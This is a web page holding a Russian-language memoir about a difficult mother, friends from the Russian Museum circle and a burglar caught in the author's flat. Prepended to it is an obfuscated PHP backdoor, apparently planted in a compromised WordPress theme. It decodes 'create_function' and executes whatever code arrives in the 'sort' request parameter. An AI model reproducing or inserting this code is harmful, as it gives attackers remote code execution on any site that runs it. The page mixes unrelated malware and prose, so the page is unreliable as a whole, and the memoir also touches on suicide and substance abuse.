nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

AD ABSURDUM


                                                                              эпиграфы

" А   В   ДЕТСТВЕ   ТЫ   ДРАЛСЯ   С  РЕБЯТАМИ
ИЛИ   БЫЛ   ТИХОНЕЙ ? "   Костя,  2-ой класс

                                           Мих. Дымов  " Дети  пишут   Богу "

" ЧЕМ  БОЛЬШЕ  ЖИВЁШЬ  –  ТЕМ   ЗАГРОБНЕЕ ."   Радик, 1-ый  класс
                                                         
                                                                           Там  же.

       В  принципе,  у  меня  друзей  или  подружек  нет   или   их  почти   и  не  было.  Одна –  две  из  школ  детства . За  давностью  лет  от  этих  дружб  всё  сошло  на  нет …  Опять  стих  какой-то  получился  –   это-то   при  моей,  как  у  Штирлица,  и д и о с и н к р а з и и    к    рифме !  Чудеса  писательства  да  и  только !
                                         За  давностью  лет
                                         Сошло всё  на  нет . . .
       Иногда   читаешь  или  смотришь  по  телевизору,  что  кому-то   " по  жизни "   мама-папа   –  друзья.  Но  это  не  мой  случай.
       Мы  с  мужем  в  восьмидесятых  годах, спасаясь  от  наших разъярённых  мамочек,  неделями  проживали  у  наших  друзей-искусствоведов,  в  доме  на  Миллионной ( Халтурина ),  который  впоследствии  забрал  себе  Эрмитаж. На  этом  доме  со стороны  Дворцовой  набережной   висела  и   висит  мемориальная  доска,  что,  мол  " здесь  жил  историк  Тарле  ".  А  у   него  в   блокаду  училась,  как  я  немного писала  в  своей  мемории  " Франсуаза  без  экстаза ",  моя   злодейка-мамочка,  она  же  " любимая   тёща  моего   мужа ".  И  для  меня  во  времена  моего  у  друзей  житья  это  было   просто  насмешкой.
                    Моя   подружка . . .
     
                    ( ага ! всё-таки  есть  у  меня  друзья ! поймала  сама  себя  на  слове !  Но,  подумав,  обобщу,  что  мои  друзья  исключительно  наши  общие  с  мужем,  в  будущем  о.Георгием,  друзья ))

       . . . подружка  у  которой  мы   проживали, постепенно  приходя   к  вере  и  воцерковляясь,  как-то  осторожно  спросила  у меня,  что  вот – де   ты   и    Егор  ( моего  мужа  в   те  времена  так  прозывали )  верующие,  Валя,   а   к а к   же   заповедь  " чти  отца   и   мать " ?
                 Ну,  я  ей  ответила,  во – первых,  про  папочек  вообще  лучше  промолчать:  муж  своего  вообще  ни  разу  в  жизни  в  глаза  не  видел  и  даже  не  знал,  что  он существует  на  белом  свете.  А   м о й   дорогой  папочка  из  инстинкта  самосохранения  вовремя  отделался  от  моей  мамочки  и  тоже  завёл  новую семью. НО!
                  НО !  Как  у  нас  тут  в  деревне  говорят:   г е н а     п а л ь ц е м    н е     з а д а в и ш ь !  Чтить  приходится  не  конкретных  мамочек-папочек,  а  гены !  А  также какие-то   методологические  наработки  родителей,  которые  неожиданно  " встраиваются "  в  корпус  твоих  собственных  по  жизни  наработок,  которыми  ты  не пренебрегаешь,  то  есть   ч т и ш ь   это   родительское  виртуальное  наследство. Подтвержу  сказанное  очередной  меморией.

             Так  вот,  в  позапрошлой  мемории   я  остановилась  на  том,  что   меня  судебные   исполнители  за   г о с у д а р с т в е н н ы й   счёт (  который  моя  мамочка  им предъявила )  перевезли  из  гоголевской   Коломны  в   малогабаритную  брежневскую  Ульянку . Это  предварило  рождение  нашего  второго  сына,  чему  наши  мамочки  опять  же  были  не  рады  и  даже  законно   возмущены  нашей  житейской  беспечностью.  Но   эта  б е с п е ч н о с т ь   нас   и   спасала.  И   Бог   при  этом  всегда  был  навстречу !  Только  верующие  люди  могут  это  понять !
           Поскольку  выселенные  из   ульянковской   квартиры   и  опозоренные  фельетоном  наши  " компаньоны "  всё  там  растарабанили,  разодрали  и  разрисовали:  обои, санузел, ненужную  им  мебель.  Единственный   плюс  этого  района  –   с в е ж и й,  почти   з а г о р о д н ы й   в о з д у х   был   отравлен  подросшими  в  нижней  квартире  токсикоманами,  специализировавшимися  на  клее  " момент "  и  керосине, которые, кстати,  мне  тоже  в  кайф  –  но  не  в  таком  же  количестве !  Короче,  сверху  гремели  взлетающие  самолёты,  снизу  соседи  токсикоманили,  а   с   боку,  через    балкон  –   кришнаиты  заявляли  о  себе  своими   бубенчиками !
      Был, правда,  один  только  плюс:  рядом  с  нашим  домом  располагался  так  называемый   " к о м б и н а т   ясли  –  детсад ",  куда  я  без  проблем  устроила   ребёнка,  поскольку  сама  пошла  туда  в  нянечки.  А   старшего  сына  взялась  опекать  свекровь, живущая  в   другом  конце  города.
         К  тому  времени   мой  дорогой  муж,  отец   нашего  " семейства  в  рассеянии ",  уже  вынужден  был  уйти  из  Русского  музея  –  но  это  отдельная  история. Скажу  только,  что  моя  мамочка  регулярно   " окучивала "  директрису  музея –  захаживала   в  музей  словно  к  приятельнице, ей  на  радость,  поскольку  у  них  оказались  родственные   души.  В  результате  мой  муж  вынужден   был   перейти  на  другую  работу  –  в   Гатчинский  дворец.
        Но  связи  его с  Русским  музеем  остались.  Особенно –  с  Евгением  Фёдоровичем  Ковтуном , мирового  уровня  специалистом   по  русскому  авангарду,  прежде  всего  по  Малевичу  и  Матюшину.  Мой  муж  всё  хвалился,  что  одна  только   п о д п и с ь   Ковтуна  стоила  по  тем  деньгам  пять  тысяч  марок . . .   Ой,  как  они  на эти марки напивались !  Конечно,  когда  мы  было  встречались  семья  на  семью –  всё  ещё  как-то  укладывалось  в  трезвые  рамки. Но  вообще  был  кошмар,  так  как   Евгений  Фёдорович  с  женой  Лариской  квасили  совместно.
           Между  этими  всеми   для  меня  напряжными  общениями  моего  мужа  с  ними, я  чувствовала,  что  Евгений  Фёдорович  как-то ,  что  называется,  неровно  ко  мне  дышит. Сразу  скажу,  что  это  было  чисто  культурологическое,  профессиональное  придыхание. А  именно.
         Не  помню  каким  образом,  но  как-то   раз  я  попала  к  Ковтунам  в  гости  без  своего  Георгия. Они  были  тверёзые  и любезные. Я  недоумевала,  зачем  я  им  без  Георгия  нужна ? Но  только  я  вошла  в   их  квартиру,  Евгений  Фдорович  сразу  подвёл   меня   к  простенку,  где  висел  непропорционально  большой  по  малогабаритным  пропорциям  квартиры  фотографический ( а  может,   и  не  фотографический –  не  помню) портрет  обожаемой  им  Елены  Гуро,  художницы,  поэта  и   первой  жены  Матюшина,  который  был  художником – теоретиком,  поэтому  заводилой,главным  организатором   и  композитором ( поскольку  по  образованию  музыкант,  скрипач)  действа " Победы  над  солнцем "). Ковтун  развернул  меня  лицом  к  ней,  велел   внимательно  всмотреться  и  стал  " ловить "   мою  реакцию.
            Моя  реакция  была  незамедлительной  и  бурной: ой  да  ай ! Но  вместе  с  этими   эмоциями  возникло    и  недоразумение:  Евгений  Фёдорович  убеждал  меня,  что  на  портрете  – я,  а  я  убеждала  его,  что  на  портрете  вылитая  моя  мать !
           Но  далее меня  ждало  другое  испытание:  на  крышке  пианино  стояли  ноты –   автора   музыки  скандальной  и  прославленной  оперы  " Победа   над  солнцем "  Матюшина.  Я  в   благоговейном   ужасе  взяла  их  полистать.  В  " благоговейном "  –  потому  что  это  был   раритет,  а   в  " ужасе "  –  потому  что   я    т о т    ещё  игрок  " с  листа ".  От  исполнительского  позора  спасла  меня  Лариска,  которая  позвала  нас  ужинать.
           Ужин  был  в  жанре  " закуска   без   выпивки  ", поэтому  я  долго  там  не  засиделась.
           Их  сына  Феди  с  нами  не  было.  Он  тогда  ещё  только  изредка  отлёживался  в  психбольнице. Однажды  он  приехал  к  нам  в  Теребени  . . .  креститься  з а н о в о,  так  как  не  доверял  качеству  произведённого  над  ним  таинства  где-то  раньше  в   другом  месте. У  него  начался  сдвиг  по  фазе  и  по  родственному  вопросу: он  уже  тогда  начал  сомневаться  и  в  истинности  своего  происхождения  от  папы  и   от  мамы.  Это  его  и  привело  к  чуть  ли  не  пожизненному  вселению  в   те  " места  обетованные ",  где  ( как  любил  перечислять  их  имена  мой  муж )  пребывали  и  другие  известные  в  то  время  личности  или  чьи-то   отпрыски.
        А   через  несколько  лет  сначала  Лариска  покончила  с  собой. Причём  сделала  это  с  присущим  ей  аппломбом, сообщая  об  этом  моему  Георгию  по  телефону  каждые  пять  минут, то  есть  зверски  детализируя  процесс;  а   мой  муж  вёл  себя,  как  мне  тогда  казалось,  бесчеловечно,  обстёбывая  её,  но  не  буду  его  осуждать,  хоть  и  очень  хочется.  Может, он,  очень  хорошо  зная  Лариску,  надеялся,  что  его   энергичный   " стёб "   вдохновит  её   из  чувства  негативизма  жить  дальше . . .как  бы  то  ни  было  –  их  разговор  по  телефону  был   садистски  театрален  и  ужасен !
      А  через  пару  лет  и  сам  Евгений  Фёдорович   сделал  то  же  самое.  Причём  за  какое – то  время  до  этого   он  мне по  телефону  жаловался,  что  без  скандалов  с  Лариской  ему  безумно  скучно.

               Но  зато  какую  же  меморию  я  хочу  поведать,  в  которой  стержнем  оказался  властный  характер  Лариски   Костиной – Ковтун !

            Позапрошлую   меморию  я  закончила, а  эту  начала  с  того,  что   меня    и  мамочку  возвратили  из  исторических  районов   Ленинграда – Петербурга  для  наших  дальнейших скандальных  потех.
            Сначала  я  работала  в   " комбинате  ясли – сад "  нянечкой.  Но  вдруг   на  кухне  " комбината " произошло ЧП:  повариху  в  порыве  ревности  убил  её    любовник, и  на  освобождённое  место  решили  пригласить  проверенного   человека,  хоть  и  без  спецобразования,  меня. Производственный  режим  для  меня,  естественно,    стал  ещё  более  строгим.
         Лариске   было  на  это  наплевать. Она  беспрекословно  назначила  мне  время  встречи  у  Русского  музея, сказав,  что  для  Георгия  передаст  нужную  ему  книгу  в   удобное  д л я    н е ё,  а   не   для   меня,  в р е м я .  Значит,  мне  надо  было  ехать  час  в  одну  сторону  и   мчаться  час,  если  не  больше,  в  обратную. Спорить  с  ней  было  бесполезно, да  и отношений  окончательно  портить  нельзя  было.  Я  договорилась   с  коллегами  и  рванула из  садика   домой  переодеться.
       Взлетев  на  четвёртый  этаж   пятиэтажной  " брежневки ",  я,   привычно  потянув  левой  рукой  дверь  на  себя,  а  правой  сунула  длинный  ключ  в  замок,  ворвавшись  в   прихожую,  но  так  и  остолбенела,  не  успев  снять  ладонь  с  ручки  двери:  в  нашем  крохотном  коридорчике  у  туалета, " мечтательно "  глядя  на  свешивающиеся  с  антресолек  над   ним  детские  колготки  стоял  парень, руки  за  спину  и  прислонясь  спиной  к  стенке.
       Надо  сказать,  когда  меня  судебные  исполнители  привезли  в  эту  квартиру,  на  двери  в  комнату  мамочки  уже   висел  здоровенный  амбарный  замок – чтоб  смешнее  было.  Мне  ничего  больше  не  оставалось,  как   сделать  врезной  замок  на  своей  фанерной двери  –  картинка  в  условиях  малогабаритки  та  ещё !
       У  меня  первые  секунды   даже  никакой   плохой  мысли  не  было, кроме  той,  что  надо  его  быстро  чем-то  угостить  и  улететь  к  Лариске  в  музей.  Я  накануне  слышала  материн  разговор  по  телефону, что  из  Тулы  едут  родственники.
         Я   восторженно  вскрикнула: " Ой, привет,  вы  кто ? "
         Парень  " очнулся "  от  своего  анабиоза  по  увиденному  и  начал  собираться  с  мыслями: " Я  . . .я . . .  я   –   д  р  у  г  . . . "
        Скажи  мне, что  он  наш   родственник,  может,  для  него  сложилось  бы  гораздо  удачней.  А  то   –   друг . . .
        Но  тут   сверху  на   меня   стали   плавно  складываться,  рушась, те  палки, которыми  обрамляют  дверь  по   её  периметру,  потом  сверху  на  меня  что-то  посыпалось . . .
      Тут    уж   я  тоже  плавно  вошла  в  изменённое  сознание: " Друг . . .  говоришь ?. . .   да    разве  друзья  т а к   поступают ?  . . .  так   друзья  не  поступают ! "
      Парень  окончательно  пришёл  в   себя  и   стал  как  бы   по-дружески  манить  меня  пальцем  в   мою  же квартиру, суля  объяснения.
     Но  я  уже   мамочкой  научена   была   многолетним  горьким  опытом,  когда  она,  выскакивая  из  квартиры  на  лестничную площадку, кричала, привлекая  соседей   во   свидетели,  что   дочь  и  зять  её   у б и в а ю т.
     И    вот   я   в   лучших  мамочкиных   традициях   отскочила  от  двери  на  середину  лестничной  площадки. При  этом   какая-то  грандиозная  силища  обуяла  меня. Какое-то   вдохновение  с  пафосом  на  меня  нашло:  мне  вдруг   " за  дружбу " ,  за  её   какое – то  идейное   существо   стало   т а к   невыносимо  обидно,  что  я заорала  во  всё  горло: " Ах !   Эх !   Друг,  говоришь ?  Ты  смеешь  говорить,  что  ты  –  друг ?  Друг ?  Друг ?  Ну-ка  немедленно  отвечай,  чей  ты    д р у г   !   Ах ,  это   т ы  – друг ? "
          Меня  заело,  как  пластинку,  я  не  могла  остановиться.  А  парень  тихонечко,  по  стеночке  стал  меня  обходить  с  фланга,  пытаясь  улизнуть.  Не  тут-то  было !  Я  вцепилась  в  его  плечи  и  с  той  же   невероятной  и  не  покидающей  меня  силой  стала  его  сотрясать,  продолжая  орать  про  дружбу.  Ему  ничего  не оставалось, как  и  меня  взять  за плечи. Секунду  мы,  получилось,  стояли  как  бы  обнявшись.  Потом  он  легонько  приподнял  меня  и  аккуратно, как  мебелину  какую, отставил  в сторону  и  бросился  наутёк . . .Я  ещё  поорала  ему  вслед,  помахала  в  воздухе  кулаками  и, войдя  в  квартиру, остервенело  стала  закрывать  дверь,  засовывая  назад  эти дурацкие  доски. Как ни  странно,  дверь  закрылась. Даже  закрылась  на  запасной   ещё  со  времён  получения квартиры  простенький  замок.
        Не  успев  придти  в  себя  от  своей  победы,  мне  всё  же  пришлось  придти  в  настоящий  ужас,  увидев  на  полу, где " мечтательно "  стоял  парень,  аккуратно  свёрнутый  большой  мешок  с  какой-то  внутри  металлической  палкой.  Если   д о  этого  я  даже  и  не  помышляла  звонить  в  милицию, то  тут  я решительно  набрала  02  и потребовала  приехать  и  забрать  эту  гадость,  которую  парень  забыл  забрать.
     Добры  молодцы  тут  же  прилетели,  потом  позвали  экспертную  бригаду  с  кинологом.  Оглядев  нашу  крохотную  квартиру,  самый  главный  из  милиционеров,  оценочно  гримасничая  и  покачивая   головой,  наконец   резюмировал: " Да-а-а,  хорошо  он   здесь  поработал ! "
  Я  ему  скромно  ответила: " Да  что  вы !  Он  тут  и  повернуться  не  успел !  А   у   н а с    в с е г д а     Т А К  !  "
                                     
                                              +
               петр  иоанн  андрей
филипп  фома  варфоломей
               два иакова  матфей
  иуда яковль,т.е. ф а д д е й
  зилота симон   и  матфИй


Добавить комментарий